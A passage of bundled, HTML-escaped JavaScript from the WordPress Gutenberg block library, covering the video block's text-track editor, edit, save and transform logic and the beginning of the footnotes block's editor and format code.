        import_components183.__experimentalHStack,
        {
          className: &quot;block-library-video-tracks-editor__track-list-track&quot;,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(&quot;span&quot;, { children: track.label }),
            /* @__PURE__ */ (0, import_jsx_runtime544.jsxs)(import_components183.__experimentalHStack, { justify: &quot;flex-end&quot;, children: [
              track.default &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(Badge2, { children: (0, import_i18n268.__)(&quot;Default&quot;) }),
              /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(
                import_components183.Button,
                {
                  __next40pxDefaultSize: true,
                  variant: &quot;tertiary&quot;,
                  onClick: () =&gt; onEditPress(index),
                  &quot;aria-label&quot;: (0, import_i18n268.sprintf)(
                    /* translators: %s: Label of the video text track e.g: &quot;French subtitles&quot;. */
                    (0, import_i18n268._x)(&quot;Edit %s&quot;, &quot;text tracks&quot;),
                    track.label
                  ),
                  children: (0, import_i18n268.__)(&quot;Edit&quot;)
                }
              )
            ] })
          ]
        },
        track.id ?? track.src
      );
    });
    return /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(
      import_components183.MenuGroup,
      {
        label: (0, import_i18n268.__)(&quot;Text tracks&quot;),
        className: &quot;block-library-video-tracks-editor__track-list&quot;,
        children: content
      }
    );
  }
  function SingleTrackEditor({
    track,
    onChange,
    onClose,
    onRemove,
    allowSettingDefault
  }) {
    const [trackState, setTrackState] = (0, import_element142.useState)({
      ...DEFAULT_TRACK,
      ...track
    });
    const { src, label, srcLang, kind, default: isDefaultTrack } = trackState;
    const fileName = src.startsWith(&quot;blob:&quot;) ? &quot;&quot; : (0, import_url22.getFilename)(src) || &quot;&quot;;
    return /* @__PURE__ */ (0, import_jsx_runtime544.jsxs)(
      import_components183.__experimentalVStack,
      {
        className: &quot;block-library-video-tracks-editor__single-track-editor&quot;,
        spacing: &quot;4&quot;,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(&quot;span&quot;, { className: &quot;block-library-video-tracks-editor__single-track-editor-edit-track-label&quot;, children: (0, import_i18n268.__)(&quot;Edit track&quot;) }),
          /* @__PURE__ */ (0, import_jsx_runtime544.jsxs)(&quot;span&quot;, { children: [
            (0, import_i18n268.__)(&quot;File&quot;),
            &quot;: &quot;,
            /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(&quot;b&quot;, { children: fileName })
          ] }),
          /* @__PURE__ */ (0, import_jsx_runtime544.jsxs)(import_components183.__experimentalGrid, { columns: 2, gap: 4, children: [
            /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(
              import_components183.TextControl,
              {
                __next40pxDefaultSize: true,
                onChange: (newLabel) =&gt; setTrackState((prevTrackState) =&gt; ({
                  ...prevTrackState,
                  label: newLabel
                })),
                label: (0, import_i18n268.__)(&quot;Label&quot;),
                value: label,
                help: (0, import_i18n268.__)(&quot;Title of track&quot;)
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(
              import_components183.TextControl,
              {
                __next40pxDefaultSize: true,
                onChange: (newSrcLang) =&gt; setTrackState((prevTrackState) =&gt; ({
                  ...prevTrackState,
                  srcLang: newSrcLang
                })),
                label: (0, import_i18n268.__)(&quot;Source language&quot;),
                value: srcLang,
                help: (0, import_i18n268.__)(&quot;Language tag (en, fr, etc.)&quot;)
              }
            )
          ] }),
          /* @__PURE__ */ (0, import_jsx_runtime544.jsxs)(import_components183.__experimentalVStack, { spacing: &quot;4&quot;, children: [
            /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(
              import_components183.SelectControl,
              {
                __next40pxDefaultSize: true,
                className: &quot;block-library-video-tracks-editor__single-track-editor-kind-select&quot;,
                options: KIND_OPTIONS,
                value: kind,
                label: (0, import_i18n268.__)(&quot;Kind&quot;),
                onChange: (newKind) =&gt; setTrackState((prevTrackState) =&gt; ({
                  ...prevTrackState,
                  kind: newKind
                }))
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(
              import_components183.ToggleControl,
              {
                __next40pxDefaultSize: true,
                label: (0, import_i18n268.__)(&quot;Set as default track&quot;),
                checked: isDefaultTrack,
                disabled: !allowSettingDefault,
                onChange: (defaultTrack) =&gt; setTrackState((prevTrackState) =&gt; ({
                  ...prevTrackState,
                  default: defaultTrack
                }))
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime544.jsxs)(import_components183.__experimentalHStack, { className: &quot;block-library-video-tracks-editor__single-track-editor-buttons-container&quot;, children: [
              /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(
                import_components183.Button,
                {
                  __next40pxDefaultSize: true,
                  isDestructive: true,
                  variant: &quot;link&quot;,
                  onClick: onRemove,
                  children: (0, import_i18n268.__)(&quot;Remove track&quot;)
                }
              ),
              /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(
                import_components183.Button,
                {
                  __next40pxDefaultSize: true,
                  variant: &quot;primary&quot;,
                  onClick: () =&gt; {
                    onChange(trackState);
                    onClose();
                  },
                  children: (0, import_i18n268.__)(&quot;Apply&quot;)
                }
              )
            ] })
          ] })
        ]
      }
    );
  }
  function TracksEditor({ tracks = [], onChange }) {
    const mediaUpload = (0, import_data166.useSelect)((select9) =&gt; {
      return select9(import_block_editor290.store).getSettings().mediaUpload;
    }, []);
    const [trackBeingEdited, setTrackBeingEdited] = (0, import_element142.useState)(null);
    const dropdownPopoverRef = (0, import_element142.useRef)();
    const handleTrackSelect = (selectedTracks = [], appendTracks = false) =&gt; {
      const existingTracksMap = new Map(
        tracks.map((track) =&gt; [track.id, track])
      );
      const tracksToAdd = selectedTracks.map(({ id, title, url }) =&gt; {
        if (existingTracksMap.has(id)) {
          return existingTracksMap.get(id);
        }
        return {
          ...DEFAULT_TRACK,
          id,
          label: title || &quot;&quot;,
          src: url
        };
      });
      if (tracksToAdd.length === 0) {
        return;
      }
      onChange([...appendTracks ? tracks : [], ...tracksToAdd]);
    };
    function uploadFiles(event) {
      const files = event.target.files;
      mediaUpload({
        allowedTypes: ALLOWED_TYPES,
        filesList: files,
        onFileChange: (selectedTracks) =&gt; {
          if (!Array.isArray(selectedTracks)) {
            return;
          }
          const uploadedTracks = selectedTracks.filter(
            (track) =&gt; !!track?.id
          );
          if (!uploadedTracks.length) {
            return;
          }
          handleTrackSelect(uploadedTracks, true);
        }
      });
    }
    (0, import_element142.useEffect)(() =&gt; {
      dropdownPopoverRef.current?.focus();
    }, [trackBeingEdited]);
    if (!mediaUpload) {
      return null;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(
      import_components183.Dropdown,
      {
        contentClassName: &quot;block-library-video-tracks-editor&quot;,
        focusOnMount: true,
        popoverProps: {
          ref: dropdownPopoverRef
        },
        renderToggle: ({ isOpen, onToggle }) =&gt; {
          const handleOnToggle = () =&gt; {
            if (!isOpen) {
              setTrackBeingEdited(null);
            }
            onToggle();
          };
          return /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(import_components183.ToolbarGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(
            import_components183.ToolbarButton,
            {
              &quot;aria-expanded&quot;: isOpen,
              &quot;aria-haspopup&quot;: &quot;true&quot;,
              onClick: handleOnToggle,
              children: (0, import_i18n268.__)(&quot;Text tracks&quot;)
            }
          ) });
        },
        renderContent: () =&gt; {
          if (trackBeingEdited !== null) {
            return /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(
              SingleTrackEditor,
              {
                track: tracks[trackBeingEdited],
                onChange: (newTrack) =&gt; {
                  const newTracks = [...tracks];
                  newTracks[trackBeingEdited] = newTrack;
                  onChange(newTracks);
                },
                onClose: () =&gt; setTrackBeingEdited(null),
                onRemove: () =&gt; {
                  onChange(
                    tracks.filter(
                      (_track, index) =&gt; index !== trackBeingEdited
                    )
                  );
                  setTrackBeingEdited(null);
                },
                allowSettingDefault: !tracks.some((track) =&gt; track.default) || tracks[trackBeingEdited].default
              }
            );
          }
          return /* @__PURE__ */ (0, import_jsx_runtime544.jsxs)(import_jsx_runtime544.Fragment, { children: [
            tracks.length === 0 &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime544.jsxs)(&quot;div&quot;, { className: &quot;block-library-video-tracks-editor__tracks-informative-message&quot;, children: [
              /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(&quot;h2&quot;, { className: &quot;block-library-video-tracks-editor__tracks-informative-message-title&quot;, children: (0, import_i18n268.__)(&quot;Text tracks&quot;) }),
              /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(&quot;p&quot;, { className: &quot;block-library-video-tracks-editor__tracks-informative-message-description&quot;, children: (0, import_i18n268.__)(
                &quot;Tracks can be subtitles, captions, chapters, or descriptions. They help make your content more accessible to a wider range of users.&quot;
              ) })
            ] }),
            /* @__PURE__ */ (0, import_jsx_runtime544.jsxs)(import_components183.NavigableMenu, { children: [
              /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(
                TrackList,
                {
                  tracks,
                  onEditPress: setTrackBeingEdited
                }
              ),
              /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(
                import_components183.MenuGroup,
                {
                  className: &quot;block-library-video-tracks-editor__add-tracks-container&quot;,
                  label: (0, import_i18n268.__)(&quot;Add tracks&quot;),
                  children: /* @__PURE__ */ (0, import_jsx_runtime544.jsxs)(import_block_editor290.MediaUploadCheck, { children: [
                    /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(
                      import_block_editor290.MediaUpload,
                      {
                        onSelect: handleTrackSelect,
                        allowedTypes: ALLOWED_TYPES,
                        value: tracks.map(({ id }) =&gt; id),
                        multiple: true,
                        render: ({ open }) =&gt; /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(
                          import_components183.MenuItem,
                          {
                            icon: media_default,
                            onClick: open,
                            children: (0, import_i18n268.__)(&quot;Open Media Library&quot;)
                          }
                        )
                      }
                    ),
                    /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(
                      import_components183.FormFileUpload,
                      {
                        onChange: uploadFiles,
                        accept: &quot;.vtt,text/vtt&quot;,
                        multiple: true,
                        render: ({ openFileDialog }) =&gt; {
                          return /* @__PURE__ */ (0, import_jsx_runtime544.jsx)(
                            import_components183.MenuItem,
                            {
                              icon: upload_default,
                              onClick: openFileDialog,
                              children: (0, import_i18n268._x)(&quot;Upload&quot;, &quot;verb&quot;)
                            }
                          );
                        }
                      }
                    )
                  ] })
                }
              )
            ] })
          ] });
        }
      }
    );
  }

  // packages/block-library/build-module/video/edit.mjs
  var import_jsx_runtime545 = __toESM(require_jsx_runtime(), 1);
  var ALLOWED_MEDIA_TYPES10 = [&quot;video&quot;];
  function VideoEdit({
    isSelected: isSingleSelected,
    attributes: attributes2,
    className,
    setAttributes,
    insertBlocksAfter,
    onReplace
  }) {
    const videoPlayer = (0, import_element143.useRef)();
    const { id, controls, poster, src, tracks } = attributes2;
    const [temporaryURL, setTemporaryURL] = (0, import_element143.useState)(attributes2.blob);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const blockEditingMode = (0, import_block_editor291.useBlockEditingMode)();
    const hasNonContentControls = blockEditingMode === &quot;default&quot;;
    useUploadMediaFromBlobURL({
      url: temporaryURL,
      allowedTypes: ALLOWED_MEDIA_TYPES10,
      onChange: onSelectVideo,
      onError: onUploadError
    });
    (0, import_element143.useEffect)(() =&gt; {
      if (videoPlayer.current) {
        videoPlayer.current.load();
      }
    }, [poster]);
    function onSelectVideo(media) {
      if (!media || !media.url) {
        setAttributes({
          src: void 0,
          id: void 0,
          poster: void 0,
          caption: void 0,
          blob: void 0
        });
        setTemporaryURL();
        return;
      }
      if ((0, import_blob19.isBlobURL)(media.url)) {
        setTemporaryURL(media.url);
        return;
      }
      setAttributes({
        blob: void 0,
        src: media.url,
        id: media.id,
        poster: media.image?.src !== media.icon ? media.image?.src : void 0,
        caption: media.caption
      });
      setTemporaryURL();
    }
    function onSelectURL(newSrc) {
      if (newSrc !== src) {
        const url = (0, import_url23.prependHTTPS)(newSrc);
        const embedBlock = createUpgradedEmbedBlock({
          attributes: { url }
        });
        if (void 0 !== embedBlock &amp;&amp; onReplace) {
          onReplace(embedBlock);
          return;
        }
        setAttributes({
          blob: void 0,
          src: url,
          id: void 0,
          poster: void 0
        });
        setTemporaryURL();
      }
    }
    const { createErrorNotice } = (0, import_data167.useDispatch)(import_notices22.store);
    function onUploadError(message) {
      createErrorNotice(message, { type: &quot;snackbar&quot; });
    }
    const placeholder2 = (content) =&gt; {
      return /* @__PURE__ */ (0, import_jsx_runtime545.jsx)(
        import_components184.Placeholder,
        {
          className: &quot;block-editor-media-placeholder&quot;,
          withIllustration: !isSingleSelected,
          icon: video_default,
          label: (0, import_i18n269.__)(&quot;Video&quot;),
          instructions: (0, import_i18n269.__)(
            &quot;Drag and drop a video, upload, or choose from your library.&quot;
          ),
          children: content
        }
      );
    };
    const classes = clsx_default(className, {
      &quot;is-transient&quot;: !!temporaryURL
    });
    const blockProps = (0, import_block_editor291.useBlockProps)({
      className: classes
    });
    if (!src &amp;&amp; !temporaryURL) {
      return /* @__PURE__ */ (0, import_jsx_runtime545.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime545.jsx)(
        import_block_editor291.MediaPlaceholder,
        {
          icon: /* @__PURE__ */ (0, import_jsx_runtime545.jsx)(import_block_editor291.BlockIcon, { icon: video_default }),
          onSelect: onSelectVideo,
          onSelectURL,
          accept: &quot;video/*&quot;,
          allowedTypes: ALLOWED_MEDIA_TYPES10,
          value: attributes2,
          onError: onUploadError,
          placeholder: placeholder2
        }
      ) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime545.jsxs)(import_jsx_runtime545.Fragment, { children: [
      isSingleSelected &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime545.jsxs)(import_jsx_runtime545.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime545.jsx)(import_block_editor291.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime545.jsx)(
          TracksEditor,
          {
            tracks,
            onChange: (newTracks) =&gt; {
              setAttributes({ tracks: newTracks });
            }
          }
        ) }),
        /* @__PURE__ */ (0, import_jsx_runtime545.jsx)(import_block_editor291.BlockControls, { group: &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime545.jsx)(
          import_block_editor291.MediaReplaceFlow,
          {
            mediaId: id,
            mediaURL: src,
            allowedTypes: ALLOWED_MEDIA_TYPES10,
            accept: &quot;video/*&quot;,
            onSelect: onSelectVideo,
            onSelectURL,
            onError: onUploadError,
            onReset: () =&gt; onSelectVideo(void 0),
            variant: &quot;toolbar&quot;
          }
        ) })
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime545.jsx)(import_block_editor291.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime545.jsxs)(
        import_components184.__experimentalToolsPanel,
        {
          label: (0, import_i18n269.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              autoplay: false,
              controls: true,
              loop: false,
              muted: false,
              playsInline: false,
              preload: &quot;metadata&quot;,
              poster: void 0
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime545.jsx)(
              edit_common_settings_default,
              {
                setAttributes,
                attributes: attributes2
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime545.jsx)(
              poster_image_default,
              {
                poster,
                onChange: (posterImage) =&gt; setAttributes({
                  poster: posterImage?.url
                })
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime545.jsxs)(&quot;figure&quot;, { ...blockProps, children: [
        /* @__PURE__ */ (0, import_jsx_runtime545.jsx)(import_components184.Disabled, { isDisabled: !isSingleSelected, children: /* @__PURE__ */ (0, import_jsx_runtime545.jsx)(
          &quot;video&quot;,
          {
            controls,
            poster,
            src: src || temporaryURL,
            ref: videoPlayer,
            children: /* @__PURE__ */ (0, import_jsx_runtime545.jsx)(Tracks, { tracks })
          }
        ) }),
        !!temporaryURL &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime545.jsx)(import_components184.Spinner, {}),
        /* @__PURE__ */ (0, import_jsx_runtime545.jsx)(
          Caption,
          {
            attributes: attributes2,
            setAttributes,
            isSelected: isSingleSelected,
            insertBlocksAfter,
            label: (0, import_i18n269.__)(&quot;Video caption text&quot;),
            showToolbarButton: isSingleSelected &amp;&amp; hasNonContentControls
          }
        )
      ] })
    ] });
  }
  var edit_default41 = VideoEdit;

  // packages/block-library/build-module/video/save.mjs
  var import_block_editor292 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime546 = __toESM(require_jsx_runtime(), 1);
  function save58({ attributes: attributes2 }) {
    const {
      autoplay,
      caption,
      controls,
      loop,
      muted,
      poster,
      preload,
      src,
      playsInline,
      tracks
    } = attributes2;
    return /* @__PURE__ */ (0, import_jsx_runtime546.jsxs)(&quot;figure&quot;, { ...import_block_editor292.useBlockProps.save(), children: [
      src &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime546.jsx)(
        &quot;video&quot;,
        {
          autoPlay: autoplay,
          controls,
          loop,
          muted,
          poster,
          preload: preload !== &quot;metadata&quot; ? preload : void 0,
          src,
          playsInline,
          children: /* @__PURE__ */ (0, import_jsx_runtime546.jsx)(Tracks, { tracks })
        }
      ),
      !import_block_editor292.RichText.isEmpty(caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime546.jsx)(
        import_block_editor292.RichText.Content,
        {
          className: (0, import_block_editor292.__experimentalGetElementClassName)(&quot;caption&quot;),
          tagName: &quot;figcaption&quot;,
          value: caption
        }
      )
    ] });
  }

  // packages/block-library/build-module/video/transforms.mjs
  var import_blob20 = __toESM(require_blob(), 1);
  var import_blocks125 = __toESM(require_blocks(), 1);
  var transforms38 = {
    from: [
      {
        type: &quot;files&quot;,
        isMatch(files) {
          return files.length === 1 &amp;&amp; files[0].type.indexOf(&quot;video/&quot;) === 0;
        },
        transform(files) {
          const file = files[0];
          const block = (0, import_blocks125.createBlock)(&quot;core/video&quot;, {
            blob: (0, import_blob20.createBlobURL)(file)
          });
          return block;
        }
      },
      {
        type: &quot;shortcode&quot;,
        tag: &quot;video&quot;,
        attributes: {
          src: {
            type: &quot;string&quot;,
            shortcode: ({
              named: { src, mp4, m4v, webm, ogv, flv }
            }) =&gt; {
              return src || mp4 || m4v || webm || ogv || flv;
            }
          },
          poster: {
            type: &quot;string&quot;,
            shortcode: ({ named: { poster } }) =&gt; {
              return poster;
            }
          },
          loop: {
            type: &quot;string&quot;,
            shortcode: ({ named: { loop } }) =&gt; {
              return loop;
            }
          },
          autoplay: {
            type: &quot;string&quot;,
            shortcode: ({ named: { autoplay } }) =&gt; {
              return autoplay;
            }
          },
          preload: {
            type: &quot;string&quot;,
            shortcode: ({ named: { preload } }) =&gt; {
              return preload;
            }
          }
        }
      },
      {
        type: &quot;raw&quot;,
        isMatch: (node) =&gt; node.nodeName === &quot;P&quot; &amp;&amp; node.children.length === 1 &amp;&amp; node.firstChild.nodeName === &quot;VIDEO&quot;,
        transform: (node) =&gt; {
          const videoElement = node.firstChild;
          const attributes2 = {
            autoplay: videoElement.hasAttribute(&quot;autoplay&quot;) ? true : void 0,
            controls: videoElement.hasAttribute(&quot;controls&quot;) ? void 0 : false,
            loop: videoElement.hasAttribute(&quot;loop&quot;) ? true : void 0,
            muted: videoElement.hasAttribute(&quot;muted&quot;) ? true : void 0,
            preload: videoElement.getAttribute(&quot;preload&quot;) || void 0,
            playsInline: videoElement.hasAttribute(&quot;playsinline&quot;) ? true : void 0,
            poster: videoElement.getAttribute(&quot;poster&quot;) || void 0,
            src: videoElement.getAttribute(&quot;src&quot;) || void 0
          };
          if ((0, import_blob20.isBlobURL)(attributes2.src)) {
            attributes2.blob = attributes2.src;
            delete attributes2.src;
          }
          return (0, import_blocks125.createBlock)(&quot;core/video&quot;, attributes2);
        }
      }
    ]
  };
  var transforms_default39 = transforms38;

  // packages/block-library/build-module/video/index.mjs
  var { fieldsKey: fieldsKey20, formKey: formKey20 } = unlock(import_blocks126.privateApis);
  var { name: name121 } = block_default120;
  var settings120 = {
    icon: video_default,
    example: {
      attributes: {
        src: &quot;https://upload.wikimedia.org/wikipedia/commons/c/ca/Wood_thrush_in_Central_Park_switch_sides_%2816510%29.webm&quot;,
        // translators: Caption accompanying a video of the wood thrush singing, which serves as an example for the Video block.
        caption: (0, import_i18n270.__)(&quot;Wood thrush singing in Central Park, NYC.&quot;)
      }
    },
    transforms: transforms_default39,
    deprecated: deprecated_default53,
    edit: edit_default41,
    save: save58
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings120[fieldsKey20] = [
      {
        id: &quot;video&quot;,
        label: (0, import_i18n270.__)(&quot;Video&quot;),
        type: &quot;media&quot;,
        Edit: {
          control: &quot;media&quot;,
          // TODO: replace with custom component
          allowedTypes: [&quot;video&quot;],
          multiple: false
        },
        getValue: ({ item }) =&gt; ({
          id: item.id,
          url: item.src,
          caption: item.caption,
          poster: item.poster
        }),
        setValue: ({ value }) =&gt; ({
          id: value.id,
          src: value.url,
          caption: value.caption,
          poster: value.poster
        })
      },
      {
        id: &quot;caption&quot;,
        label: (0, import_i18n270.__)(&quot;Caption&quot;),
        type: &quot;text&quot;,
        Edit: &quot;rich-text&quot;
        // TODO: replace with custom component
      }
    ];
    settings120[formKey20] = {
      fields: [&quot;video&quot;, &quot;caption&quot;]
    };
  }
  var init120 = () =&gt; initBlock({ name: name121, metadata: block_default120, settings: settings120 });

  // packages/block-library/build-module/footnotes/index.mjs
  var footnotes_exports = {};
  __export(footnotes_exports, {
    init: () =&gt; init121,
    metadata: () =&gt; block_default121,
    name: () =&gt; name122,
    settings: () =&gt; settings121
  });
  var import_rich_text7 = __toESM(require_rich_text(), 1);

  // packages/block-library/build-module/footnotes/edit.mjs
  var import_block_editor293 = __toESM(require_block_editor(), 1);
  var import_core_data97 = __toESM(require_core_data(), 1);
  var import_i18n271 = __toESM(require_i18n(), 1);
  var import_components185 = __toESM(require_components(), 1);
  var import_jsx_runtime547 = __toESM(require_jsx_runtime(), 1);
  function FootnotesEdit({ context: { postType, postId } }) {
    const [meta, updateMeta] = (0, import_core_data97.useEntityProp)(
      &quot;postType&quot;,
      postType,
      &quot;meta&quot;,
      postId
    );
    const footnotesSupported = &quot;string&quot; === typeof meta?.footnotes;
    const footnotes = meta?.footnotes ? JSON.parse(meta.footnotes) : [];
    const blockProps = (0, import_block_editor293.useBlockProps)();
    if (!footnotesSupported) {
      return /* @__PURE__ */ (0, import_jsx_runtime547.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime547.jsx)(
        import_components185.Placeholder,
        {
          icon: /* @__PURE__ */ (0, import_jsx_runtime547.jsx)(import_block_editor293.BlockIcon, { icon: format_list_numbered_default }),
          label: (0, import_i18n271.__)(&quot;Footnotes&quot;),
          instructions: (0, import_i18n271.__)(
            &quot;Footnotes are not supported here. Add this block to post or page content.&quot;
          )
        }
      ) });
    }
    if (!footnotes.length) {
      return /* @__PURE__ */ (0, import_jsx_runtime547.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime547.jsx)(
        import_components185.Placeholder,
        {
          icon: /* @__PURE__ */ (0, import_jsx_runtime547.jsx)(import_block_editor293.BlockIcon, { icon: format_list_numbered_default }),
          label: (0, import_i18n271.__)(&quot;Footnotes&quot;),
          instructions: (0, import_i18n271.__)(
            &quot;Footnotes found in blocks within this document will be displayed here.&quot;
          )
        }
      ) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime547.jsx)(&quot;ol&quot;, { ...blockProps, children: footnotes.map(({ id, content }) =&gt; (
      /* eslint-disable-next-line jsx-a11y/no-noninteractive-element-interactions */
      /* @__PURE__ */ (0, import_jsx_runtime547.jsxs)(
        &quot;li&quot;,
        {
          onMouseDown: (event) =&gt; {
            if (event.target === event.currentTarget) {
              event.target.firstElementChild.focus();
              event.preventDefault();
            }
          },
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime547.jsx)(
              import_block_editor293.RichText,
              {
                id,
                tagName: &quot;span&quot;,
                value: content,
                identifier: id,
                onFocus: (event) =&gt; {
                  if (!event.target.textContent.trim()) {
                    event.target.scrollIntoView();
                  }
                },
                onChange: (nextFootnote) =&gt; {
                  updateMeta({
                    ...meta,
                    footnotes: JSON.stringify(
                      footnotes.map((footnote) =&gt; {
                        return footnote.id === id ? {
                          content: nextFootnote,
                          id
                        } : footnote;
                      })
                    )
                  });
                }
              }
            ),
            &quot; &quot;,
            /* @__PURE__ */ (0, import_jsx_runtime547.jsx)(&quot;a&quot;, { href: `#${id}-link`, children: &quot;\u21A9\uFE0E&quot; })
          ]
        },
        id
      )
    )) });
  }

  // packages/block-library/build-module/footnotes/block.json
  var block_default121 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/footnotes&quot;,
    title: &quot;Footnotes&quot;,
    category: &quot;text&quot;,
    description: &quot;Display footnotes added to the page.&quot;,
    keywords: [&quot;references&quot;],
    textdomain: &quot;default&quot;,
    usesContext: [&quot;postId&quot;, &quot;postType&quot;],
    supports: {
      anchor: true,
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: false,
          color: false,
          width: false,
          style: false
        }
      },
      color: {
        background: true,
        link: true,
        text: true,
        __experimentalDefaultControls: {
          link: true,
          text: true
        }
      },
      html: false,
      multiple: false,
      reusable: false,
      inserter: false,
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalTextDecoration: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalTextTransform: true,
        __experimentalWritingMode: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    style: &quot;wp-block-footnotes&quot;
  };

  // packages/block-library/build-module/footnotes/format.mjs
  var import_i18n272 = __toESM(require_i18n(), 1);
  var import_rich_text6 = __toESM(require_rich_text(), 1);
  var import_block_editor294 = __toESM(require_block_editor(), 1);
  var import_data168 = __toESM(require_data(), 1);
  var import_core_data98 = __toESM(require_core_data(), 1);
  var import_blocks127 = __toESM(require_blocks(), 1);
  var import_jsx_runtime548 = __toESM(require_jsx_runtime(), 1);
  var formatName = &quot;core/footnote&quot;;
  var { usesContextKey } = unlock(import_block_editor294.privateApis);
  var POST_CONTENT_BLOCK_NAME = &quot;core/post-content&quot;;
  var SYNCED_PATTERN_BLOCK_NAME = &quot;core/block&quot;;
  var format2 = {
    title: (0, import_i18n272.__)(&quot;Footnote&quot;),
    tagName: &quot;sup&quot;,
    className: &quot;fn&quot;,
    attributes: {
      &quot;data-fn&quot;: &quot;data-fn&quot;
    },
    interactive: true,
    contentEditable: false,
    [usesContextKey]: [&quot;postType&quot;, &quot;postId&quot;],
    edit: function Edit24({
      value,
      onChange,
      isObjectActive,
      context: { postType, postId }
    }) {
      const registry = (0, import_data168.useRegistry)();
      const {
        getSelectedBlockClientId,
        getBlocks,
        getBlockRootClientId,
        getBlockName,
        getBlockParentsByBlockName
      } = registry.select(import_block_editor294.store);
      const isFootnotesSupported = (0, import_data168.useSelect)(
        (select9) =&gt; {
          if (!select9(import_blocks127.store).getBlockType(&quot;core/footnotes&quot;)) {
            return false;
          }
          const allowedBlocks = select9(import_block_editor294.store).getSettings().allowedBlockTypes;
          if (allowedBlocks === false || Array.isArray(allowedBlocks) &amp;&amp; !allowedBlocks.includes(&quot;core/footnotes&quot;)) {
            return false;
          }
          const entityRecord = select9(import_core_data98.store).getEntityRecord(
            &quot;postType&quot;,
            postType,
            postId
          );
          if (&quot;string&quot; !== typeof entityRecord?.meta?.footnotes) {
            return false;
          }
          const {
            getBlockParentsByBlockName: _getBlockParentsByBlockName,
            getSelectedBlockClientId: _getSelectedBlockClientId,
            getBlockName: _getBlockName
          } = select9(import_block_editor294.store);
          const selectedClientId = _getSelectedBlockClientId();
          if (!selectedClientId) {
            return false;
          }
          if (_getBlockName(selectedClientId) === name122) {
            return false;
          }
          const parentCoreBlocks = _getBlockParentsByBlockName(
            selectedClientId,
            SYNCED_PATTERN_BLOCK_NAME
          );
          return !parentCoreBlocks || parentCoreBlocks.length === 0;
        },
        [postType, postId]
      );
      const { selectionChange, insertBlock } = (0, import_data168.useDispatch)(import_block_editor294.store);
      if (!isFootnotesSupported) {
        return null;
      }
      function onClick() {
        registry.batch(() =&gt; {
          let id;
          if (isObjectActive) {
            const object = value.replacements[value.start];
            id = object?.attributes?.[&quot;data-fn&quot;];
          } else {
            id = v4_default();
            const newValue = (0, import_rich_text6.insertObject)(
              value,
              {
                type: formatName,
                attributes: {
                  &quot;data-fn&quot;: id
                },
                innerHTML: `&lt;a href=&quot;#${id}&quot; id=&quot;${id}-link&quot;&gt;*&lt;/a&gt;`
              },
              value.end,
              value.end
            );
            newValue.start = newValue.end - 1;
            onChange(newValue);
          }
          const selectedClientId = getSelectedBlockClientId();
          const parentPostContent = getBlockParentsByBlockName(
            selectedClientId,
            POST_CONTENT_BLOCK_NAME
          );
          const blocks = parentPostContent.length ? getBlocks(parentPostContent[0]) : getBlocks();
          let fnBlock = null;
          {
            const queue = [...blocks];
            while (queue.length) {
              const block = queue.shift();
              if (block.name === &quot;core/footnotes&quot;) {
                fnBlock = block;
                break;
              }
              queue.push(...block.innerBlocks);
            }
          }
          if (!fnBlock) {
            let rootClientId = getBlockRootClientId(selectedClientId);
